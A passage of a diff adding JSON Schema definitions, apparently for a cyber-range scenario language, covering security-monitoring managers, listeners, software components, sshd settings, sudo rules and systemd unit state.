{"description":"Logical role of a manager transport listener.","enum":["agent_event_ingestion","agent_enrollment","syslog_ingestion","api","alert_forwarding","indexer_forwarding","dashboard","other","unknown"],"title":"RuntimeSecurityMonitoringListenerRole","type":"string"}, + "RuntimeSecurityMonitoringManager": {"additionalProperties":false,"description":"Node-scoped runtime inventory for a SIEM/security-monitoring manager.","properties":{"agent_groups":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringAgentGroup"},"title":"Agent Groups","type":"array"},"agents":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringAgent"},"title":"Agents","type":"array"},"components":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringComponent"},"title":"Components","type":"array"},"configuration_file_refs":{"$ref":"#/$defs/_r108"},"content_sets":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringContentSet"},"title":"Content Sets","type":"array"},"description":{"$ref":"#/$defs/_r53"},"detection_definitions":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringDetectionDefinition"},"title":"Detection Definitions","type":"array"},"evidence_refs":{"$ref":"#/$defs/_r118"},"implementation":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringImplementation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[wW][aA][zZ][uU][hH]|[oO][sS][sS][eE][cC]|[eE][lL][aA][sS][tT][iI][cC][-_][sS][eE][cC][uU][rR][iI][tT][yY]|[sS][pP][lL][uU][nN][kK][-_][eE][nN][tT][eE][rR][pP][rR][iI][sS][eE][-_][sS][eE][cC][uU][rR][iI][tT][yY]|[sS][eE][cC][uU][rR][iI][tT][yY][-_][oO][nN][iI][oO][nN]|[mM][iI][cC][rR][oO][sS][oO][fF][tT][-_][sS][eE][nN][tT][iI][nN][eE][lL]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Implementation"},"listeners":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringListener"},"title":"Listeners","type":"array"},"log_file_refs":{"$ref":"#/$defs/_r123"},"manager_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringManagerKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][iI][eE][mM]|[xX][dD][rR]|[hH][iI][dD][sS]|[nN][dD][rR]|[lL][oO][gG][-_][mM][aA][nN][aA][gG][eE][mM][eE][nN][tT]|[dD][eE][tT][eE][cC][tT][iI][oO][nN][-_][eE][nN][gG][iI][nN][eE]|[sS][eE][cC][uU][rR][iI][tT][yY][-_][mM][oO][nN][iI][tT][oO][rR][iI][nN][gG]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Manager Kind"},"name":{"$ref":"#/$defs/_r64"},"revision":{"$ref":"#/$defs/_r68"},"security_monitoring_manager_id":{"$ref":"#/$defs/_r3"},"service":{"$ref":"#/$defs/_r70"},"settings":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringSetting"},"title":"Settings","type":"array"},"version":{"$ref":"#/$defs/_r81"}},"required":["security_monitoring_manager_id"],"title":"RuntimeSecurityMonitoringManager","type":"object"}, + "RuntimeSecurityMonitoringManagerKind": {"description":"Portable manager role/family.","enum":["siem","xdr","hids","ndr","log_management","detection_engine","security_monitoring","unknown","other"],"title":"RuntimeSecurityMonitoringManagerKind","type":"string"}, + "RuntimeSecurityMonitoringSetting": {"additionalProperties":false,"description":"A bounded manager setting with sensitivity classification.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"component_ref":{"$ref":"#/$defs/_r52"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringSettingProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][tT][rR][oO][sS][pP][eE][cC][tT][iI][oO][nN]|[cC][oO][nN][fF][iI][gG][uU][rR][aA][tT][iI][oO][nN][-_][fF][iI][lL][eE]|[aA][pP][iI]|[iI][mM][aA][gG][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][oO][vV][eE][rR][rR][iI][dD][eE]|[rR][uU][nN][tT][iI][mM][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"setting_id":{"$ref":"#/$defs/_r3"},"source_path":{"$ref":"#/$defs/_r73"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r20"}},"required":["setting_id","name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimeSecurityMonitoringSetting","type":"object"}, + "RuntimeSecurityMonitoringSettingProvenance": {"description":"Where an observed manager setting came from.","enum":["introspection","configuration_file","api","image_default","operator_override","runtime_default","unknown","other"],"title":"RuntimeSecurityMonitoringSettingProvenance","type":"string"}, + "RuntimeSensitivityClassification": {"description":"Sensitivity/redaction class for observed runtime facts.","enum":["plain","redacted","secret_fixture","operator_secret","unknown","other"],"title":"RuntimeSensitivityClassification","type":"string"}, + "RuntimeServiceListener": {"additionalProperties":false,"description":"Possibly partial runtime listener description attached to a node.\n\nOnly ``service_listener_id`` is universally required. Supplied facts are\nvalidated for bounds and contradictions, but missing endpoint facts are\nnot fabricated or rejected at this descriptive boundary.","properties":{"address":{"$ref":"#/$defs/_r47"},"address_family":{"anyOf":[{"$ref":"#/$defs/RuntimeListenerAddressFamily"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][pP][vV]4|[iI][pP][vV]6|[uU][nN][iI][xX]|[uU][nN][sS][pP][eE][cC][iI][fF][iI][eE][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unspecified","title":"Address Family"},"bind_interface":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Bind Interface","type":"string"},"description":{"$ref":"#/$defs/_r53"},"evidence_refs":{"$ref":"#/$defs/_r118"},"port":{"$ref":"#/$defs/_r37"},"process_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Process Name","type":"string"},"process_ref":{"$ref":"#/$defs/_r66"},"protocol":{"anyOf":[{"$ref":"#/$defs/RuntimeListenerProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[tT][cC][pP]|[uU][dD][pP]|[sS][cC][tT][pP]|[uU][nN][iI][xX]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"tcp","title":"Protocol"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeListenerProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[oO][sS][qQ][uU][eE][rR][yY]|[sS][sS]|[nN][eE][tT][sS][tT][aA][tT]|[lL][sS][oO][fF]|[nN][mM][aA][pP]|[dD][oO][cC][kK][eE][rR][-_][iI][nN][sS][pP][eE][cC][tT]|[kK][uU][bB][eE][rR][nN][eE][tT][eE][sS]|[sS][yY][sS][tT][eE][mM][dD]|[oO][pP][eE][rR][aA][tT][oO][rR]|[sS][cC][aA][nN][nN][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"published_port_refs":{"items":{"$ref":"#/$defs/RuntimePublishedPortRef"},"title":"Published Port Refs","type":"array"},"readiness":{"anyOf":[{"$ref":"#/$defs/RuntimeListenerReadiness"},{"type":"null"}],"default":null},"scope":{"anyOf":[{"$ref":"#/$defs/RuntimeListenerScope"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[wW][iI][lL][dD][cC][aA][rR][dD]|[lL][oO][oO][pP][bB][aA][cC][kK][-_][oO][nN][lL][yY]|[nN][eE][tT][wW][oO][rR][kK][-_][fF][aA][cC][iI][nN][gG]|[nN][oO][dD][eE][-_][lL][oO][cC][aA][lL]|[lL][oO][cC][aA][lL][-_][sS][oO][cC][kK][eE][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Scope"},"service":{"$ref":"#/$defs/_r70"},"service_listener_id":{"$ref":"#/$defs/_r3"},"socket_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Socket Path","type":"string"}},"required":["service_listener_id"],"title":"RuntimeServiceListener","type":"object"}, + "RuntimeSoftwareComponent": {"additionalProperties":false,"description":"A software component required as part of a runtime node's state.","properties":{"component_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Component Id","type":"string"},"component_type":{"anyOf":[{"$ref":"#/$defs/RuntimeSoftwareComponentType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][pP][pP][lL][iI][cC][aA][tT][iI][oO][nN]|[fF][rR][aA][mM][eE][wW][oO][rR][kK]|[lL][iI][bB][rR][aA][rR][yY]|[cC][oO][nN][tT][aA][iI][nN][eE][rR]|[pP][lL][aA][tT][fF][oO][rR][mM]|[oO][pP][eE][rR][aA][tT][iI][nN][gG][-_][sS][yY][sS][tT][eE][mM]|[dD][eE][vV][iI][cC][eE]|[dD][eE][vV][iI][cC][eE][-_][dD][rR][iI][vV][eE][rR]|[fF][iI][rR][mM][wW][aA][rR][eE]|[fF][iI][lL][eE]|[dD][aA][tT][aA]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Component Type"},"cpe":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Cpe","type":"string"},"description":{"$ref":"#/$defs/_r53"},"ecosystem":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ecosystem","type":"string"},"hashes":{"items":{"$ref":"#/$defs/RuntimeSoftwareComponentHash"},"title":"Hashes","type":"array"},"installed_paths":{"items":{"$ref":"#/$defs/_r185"},"title":"Installed Paths","type":"array"},"manifest_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Manifest Path","type":"string"},"name":{"$ref":"#/$defs/_r174"},"package":{"anyOf":[{"$ref":"#/$defs/RuntimePackage"},{"type":"null"}],"default":null},"package_manager":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Package Manager","type":"string"},"package_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Package Name","type":"string"},"package_ref":{"anyOf":[{"$ref":"#/$defs/RuntimeSoftwarePackageReference"},{"type":"null"}],"default":null},"package_version":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Package Version","type":"string"},"package_version_constraint":{"anyOf":[{"$ref":"#/$defs/VersionDomain"},{"type":"null"}],"default":null},"presence":{"$ref":"#/$defs/RealizationPresence","default":"required"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeSoftwareComponentProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][aA][cC][kK][aA][gG][eE][-_][mM][aA][nN][aA][gG][eE][rR]|[dD][eE][pP][eE][nN][dD][eE][nN][cC][yY][-_][mM][aA][nN][iI][fF][eE][sS][tT]|[iI][mM][aA][gG][eE][-_][mM][eE][tT][aA][dD][aA][tT][aA]|[oO][pP][eE][rR][aA][tT][oO][rR]|[sS][eE][lL][fF][-_][rR][eE][pP][oO][rR][tT][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"purl":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Purl","type":"string"},"refinements":{"items":{"$ref":"#/$defs/RuntimeSoftwareComponentRefinement"},"maxItems":256,"title":"Refinements","type":"array"},"repository_refs":{"items":{"$ref":"#/$defs/_r3"},"maxItems":256,"title":"Repository Refs","type":"array"},"version":{"$ref":"#/$defs/_r81"},"version_constraint":{"anyOf":[{"$ref":"#/$defs/VersionDomain"},{"type":"null"}],"default":null}},"required":["component_id","name"],"title":"RuntimeSoftwareComponent","type":"object"}, + "RuntimeSoftwareComponentHash": {"additionalProperties":false,"description":"Digest required for a runtime software component.","properties":{"algorithm":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Algorithm","type":"string"},"value":{"$ref":"#/$defs/_r184"}},"required":["algorithm","value"],"title":"RuntimeSoftwareComponentHash","type":"object"}, + "RuntimeSoftwareComponentProvenance": {"description":"Required source origin for a runtime software component.","enum":["package_manager","dependency_manifest","image_metadata","operator","self_reported","unknown","other"],"title":"RuntimeSoftwareComponentProvenance","type":"string"}, + "RuntimeSoftwareComponentRefinement": {"additionalProperties":false,"description":"A component's acquisition or application/package correspondence constraint.","properties":{"definition":{"$ref":"#/$defs/DomainProfileDefinitionModel"},"profile_value":{"$ref":"#/$defs/JsonValue"},"purpose":{"enum":["acquisition","version-correspondence"],"title":"Purpose","type":"string"},"refinement_id":{"$ref":"#/$defs/_r2"}},"required":["refinement_id","purpose","definition","profile_value"],"title":"RuntimeSoftwareComponentRefinement","type":"object"}, + "RuntimeSoftwareComponentType": {"description":"Portable type for a software component required on a runtime node.","enum":["application","framework","library","container","platform","operating_system","device","device_driver","firmware","file","data","unknown","other"],"title":"RuntimeSoftwareComponentType","type":"string"}, + "RuntimeSoftwarePackageReference": {"additionalProperties":false,"description":"Explicit correspondence to a package row; no identity is inferred.","properties":{"architecture":{"$ref":"#/$defs/_r46"},"manager":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Manager","type":"string"},"name":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Name","type":"string"}},"required":["manager","name"],"title":"RuntimeSoftwarePackageReference","type":"object"}, + "RuntimeSoftwareRepository": {"additionalProperties":false,"description":"A stable final-state repository identity shared by software requirements.","properties":{"presence":{"$ref":"#/$defs/RealizationPresence","default":"required"},"refinements":{"items":{"$ref":"#/$defs/RuntimeSoftwareRepositoryRefinement"},"maxItems":256,"title":"Refinements","type":"array"},"repository_id":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Repository Id","type":"string"},"trust_ref":{"anyOf":[{"$ref":"#/$defs/_r3"},{"type":"null"}],"default":null,"title":"Trust Ref"}},"required":["repository_id"],"title":"RuntimeSoftwareRepository","type":"object"}, + "RuntimeSoftwareRepositoryRefinement": {"additionalProperties":false,"description":"A final-state constraint attached to a shared repository identity.","properties":{"definition":{"$ref":"#/$defs/DomainProfileDefinitionModel"},"profile_value":{"$ref":"#/$defs/JsonValue"},"purpose":{"const":"repository-state","title":"Purpose","type":"string"},"refinement_id":{"$ref":"#/$defs/_r2"}},"required":["refinement_id","purpose","definition","profile_value"],"title":"RuntimeSoftwareRepositoryRefinement","type":"object"}, + "RuntimeSoftwareRepositoryState": {"additionalProperties":false,"description":"Bounded shared repository and trust identities, not an installation route.","properties":{"repositories":{"items":{"$ref":"#/$defs/RuntimeSoftwareRepository"},"maxItems":256,"title":"Repositories","type":"array"},"trust_bindings":{"items":{"$ref":"#/$defs/RuntimeSoftwareTrustBinding"},"maxItems":256,"title":"Trust Bindings","type":"array"}},"title":"RuntimeSoftwareRepositoryState","type":"object"}, + "RuntimeSoftwareTrustBinding": {"additionalProperties":false,"description":"An author-owned trust identity; concrete trust semantics require a profile.","properties":{"presence":{"$ref":"#/$defs/RealizationPresence","default":"required"},"refinements":{"items":{"$ref":"#/$defs/RuntimeSoftwareTrustRefinement"},"maxItems":256,"title":"Refinements","type":"array"},"trust_id":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Trust Id","type":"string"}},"required":["trust_id"],"title":"RuntimeSoftwareTrustBinding","type":"object"}, + "RuntimeSoftwareTrustRefinement": {"additionalProperties":false,"description":"A final-state constraint attached to a shared trust identity.","properties":{"definition":{"$ref":"#/$defs/DomainProfileDefinitionModel"},"profile_value":{"$ref":"#/$defs/JsonValue"},"purpose":{"const":"repository-trust","title":"Purpose","type":"string"},"refinement_id":{"$ref":"#/$defs/_r2"}},"required":["refinement_id","purpose","definition","profile_value"],"title":"RuntimeSoftwareTrustRefinement","type":"object"}, + "RuntimeSshServer": {"additionalProperties":false,"description":"A scoped sshd server configuration observed on a node.\n\nEach configuration carries a stable ``ssh_server_id`` and an explicit\n``service`` reference pointing at the owning same-node service (bare\nname or ``nodes..services.`` form). Global sshd directives\nsit at the top level; scoped overrides live in ``match_rules``.\n\nThe configuration is the SDL surface for participant-observable sshd\npolicy. It is not a backend sshd-payload dump and must not embed raw\n``sshd_config`` text, raw ``sshd -T`` output, container inspect\npayloads, session transcripts, or environment values.","properties":{"accept_env":{"$ref":"#/$defs/_r97"},"allow_groups":{"$ref":"#/$defs/_r101"},"allow_users":{"$ref":"#/$defs/_r102"},"authentication_methods":{"$ref":"#/$defs/_r105"},"authorized_keys_file":{"$ref":"#/$defs/_r49"},"chroot_directory":{"$ref":"#/$defs/_r50"},"deny_groups":{"$ref":"#/$defs/_r109"},"deny_users":{"$ref":"#/$defs/_r110"},"description":{"$ref":"#/$defs/_r53"},"forced_command":{"anyOf":[{"$ref":"#/$defs/SshForcedCommand"},{"type":"null"}],"default":null},"match_rules":{"items":{"$ref":"#/$defs/SshMatchRule"},"title":"Match Rules","type":"array"},"password_authentication":{"$ref":"#/$defs/_r29"},"permit_tty":{"$ref":"#/$defs/_r30"},"pubkey_authentication":{"$ref":"#/$defs/_r31"},"service":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Service","type":"string"},"ssh_server_id":{"$ref":"#/$defs/_r3"}},"required":["ssh_server_id","service"],"title":"RuntimeSshServer","type":"object"}, + "RuntimeSudoPrincipalKind": {"description":"Kind of principal a sudo rule grants privilege to.","enum":["user","group","other","unknown"],"title":"RuntimeSudoPrincipalKind","type":"string"}, + "RuntimeSudoRule": {"additionalProperties":false,"description":"An observed sudo/sudoers privilege grant.\n\nThe portable model is the structured principal/run-as/command scope.\n``raw_entry`` may carry the original sudoers line only as optional\ndescriptive evidence; ``command_redacted`` marks a rule whose command\nscope was withheld because it carried sensitive arguments.","if":{"properties":{"command_redacted":{"anyOf":[{"const":true},{"pattern":"^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$","type":"string"}]}},"required":["command_redacted"]},"properties":{"command_redacted":{"$ref":"#/$defs/_r32"},"commands":{"items":{"$ref":"#/$defs/_r185"},"title":"Commands","type":"array"},"description":{"$ref":"#/$defs/_r53"},"host_scope":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Host Scope","type":"string"},"nopasswd":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Nopasswd"},"principal":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Principal","type":"string"},"principal_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeSudoPrincipalKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][sS][eE][rR]|[gG][rR][oO][uU][pP]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"user","title":"Principal Kind"},"raw_entry":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Raw Entry","type":"string"},"run_as_groups":{"items":{"$ref":"#/$defs/_r185"},"title":"Run As Groups","type":"array"},"run_as_users":{"items":{"$ref":"#/$defs/_r185"},"title":"Run As Users","type":"array"}},"required":["principal"],"then":{"properties":{"commands":{"maxItems":0}}},"title":"RuntimeSudoRule","type":"object"}, + "Script": {"additionalProperties":false,"description":"A timed sequence of human-readable durations parsed to seconds.","properties":{"description":{"$ref":"#/$defs/_r53"},"end_time":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"End Time"},"events":{"additionalProperties":{"$ref":"#/$defs/_r44"},"minProperties":1,"title":"Events","type":"object"},"name":{"$ref":"#/$defs/_r64"},"speed":{"anyOf":[{"type":"number"},{"$ref":"#/$defs/_r185"}],"title":"Speed"},"start_time":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Start Time"}},"required":["start_time","end_time","speed","events"],"title":"Script","type":"object"}, + "SearchIndexFieldSemantic": {"description":"Portable top-level search-index field behavior.","enum":["exact-token","full-text","integer","temporal","boolean"],"title":"SearchIndexFieldSemantic","type":"string"}, + "SecretFixtureCredentialMaterial": {"additionalProperties":false,"description":"Deliberately disclosed scenario credential material.","properties":{"classification":{"const":"secret_fixture","title":"Classification","type":"string"},"value":{"$ref":"#/$defs/_r184"}},"required":["classification","value"],"title":"SecretFixtureCredentialMaterial","type":"object"}, + "SemanticDigest": {"additionalProperties":false,"description":"Profile-labelled digest of one expanded authoring scenario.","properties":{"algorithm":{"const":"sha256","title":"Algorithm","type":"string"},"profile":{"const":"raes-sdl-semantic/v2","title":"Profile","type":"string"},"value":{"$ref":"#/$defs/_r167"}},"required":["profile","algorithm","value"],"title":"SemanticDigest","type":"object"}, + "ServiceManagerKind": {"description":"Kind of service manager whose unit inventory is being recorded.\n\nInitially scoped to ``systemd``; ``other`` is the escape hatch for managers\nthat have not yet been promoted to their own typed enum value (per\nADR-035 \u00a7 5).","enum":["systemd","other","unknown"],"title":"ServiceManagerKind","type":"string"}, + "ServiceManagerUnit": {"additionalProperties":false,"allOf":[{"if":{"properties":{"manager_kind":{"pattern":"^[sS][yY][sS][tT][eE][mM][dD]$"}},"required":["manager_kind"]},"then":{"properties":{"unit_name":{"pattern":"^[^\\s]+\\.[^\\s]+$"}}}},{"if":{"properties":{"manager_kind":{"anyOf":[{"pattern":"^(?:[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN])$"},{"pattern":"^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$"}]}},"required":["manager_kind"]},"then":{"properties":{"active_state":{"const":"unknown"},"enabled_state":{"const":"unknown"},"exec_start":{"const":null},"exit_code":{"const":null},"load_state":{"const":"unknown"},"main_pid":{"const":null},"result":{"const":"unknown"},"status_text":{"const":""},"sub_state":{"const":""},"unit_type":{"const":"other"}}}}],"description":"Observed service-manager unit state on a realized range node.\n\nEach record carries a stable RAES ``unit_id`` (the reference target), the\nnative ``unit_name`` (e.g. ``sshd.service``), the participant-observable\nlifecycle facts captured by ``systemctl`` (load/active/sub/enabled/result),\nand bounded optional evidence: the unit-file path, an ``ExecStart``\ndescriptor with explicit redaction discipline, the main PID when present,\nand an optional same-node ``Node.services[]`` ref.\n\nThis is observed WHAT-IS state, not provisioning intent or authored\nbehavior; see ADR-035 for the boundary against ``Node.services``,\n``conditions``, ``runtime.processes``, ``runtime.container.init_process``,\n``runtime.operational_policy``, and ``runtime.ssh_servers``.","properties":{"active_state":{"anyOf":[{"$ref":"#/$defs/ServiceUnitActiveState"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][cC][tT][iI][vV][eE]|[rR][eE][lL][oO][aA][dD][iI][nN][gG]|[iI][nN][aA][cC][tT][iI][vV][eE]|[fF][aA][iI][lL][eE][dD]|[aA][cC][tT][iI][vV][aA][tT][iI][nN][gG]|[dD][eE][aA][cC][tT][iI][vV][aA][tT][iI][nN][gG]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Active 